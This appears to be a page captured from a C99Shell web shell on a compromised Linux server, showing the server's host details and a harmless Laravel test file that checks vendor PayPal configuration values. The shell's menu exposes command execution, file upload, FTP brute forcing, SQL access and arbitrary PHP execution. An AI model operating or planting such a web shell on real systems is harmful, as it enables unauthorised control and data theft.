!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/tests/Feature/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConfigTest.php (1.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Tests\Feature;

use 
Illuminate\Foundation\Testing\RefreshDatabase;
use 
Illuminate\Foundation\Testing\WithFaker;
use 
Tests\TestCase;
use 
App\Restorant as Vendor;
use 
App\User;

class 
ConfigTest extends TestCase
{

    use 
RefreshDatabase;
    use 
WithFaker;

    
    
/** @test */
    
public function config_set_on_a_vendor(){

        
//The user
        
$user User::create([
            
'name'=>$this->faker->firstName()
        ]);

        
$vendor Vendor::create([
            
'name' => $this->faker->firstName(),
            
'user_id'=>$user->id,
            
'subdomain'=>'test'
        
]);
        
        
$vendorTwo Vendor::create([
            
'name' => $this->faker->firstName(),
            
'user_id'=>$user->id,
            
'subdomain'=>'test2'
        
]);
        
        
//Single insert
        
$vendor->setConfig("paypal_id","some_amazing_id");
        
$this->assertEquals($vendor->getConfig("paypal_id"), "some_amazing_id");


        
//Same key on another vendor
        
$vendorTwo->setConfig("paypal_id","another");
        
$this->assertEquals($vendorTwo->getConfig("paypal_id"), "another");

        
//Multiple set
        
$vendor->setMultipleConfig(['paypal_id'=>"some_amazing_id_updated",'paypal_secret'=>"212121212121212"]);
        
$this->assertEquals($vendor->getConfig("paypal_secret"), "212121212121212");
        
        
//Check update
        
$this->assertEquals($vendor->getConfig("paypal_id"), "some_amazing_id_updated");

        
//Get all configs
        
$this->assertEquals($vendor->getAllConfigs(), ['paypal_id'=>"some_amazing_id_updated",'paypal_secret'=>"212121212121212"]);
        
$this->assertEquals($vendorTwo->getAllConfigs(), ['paypal_id'=>"another"]);
        
    }

    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--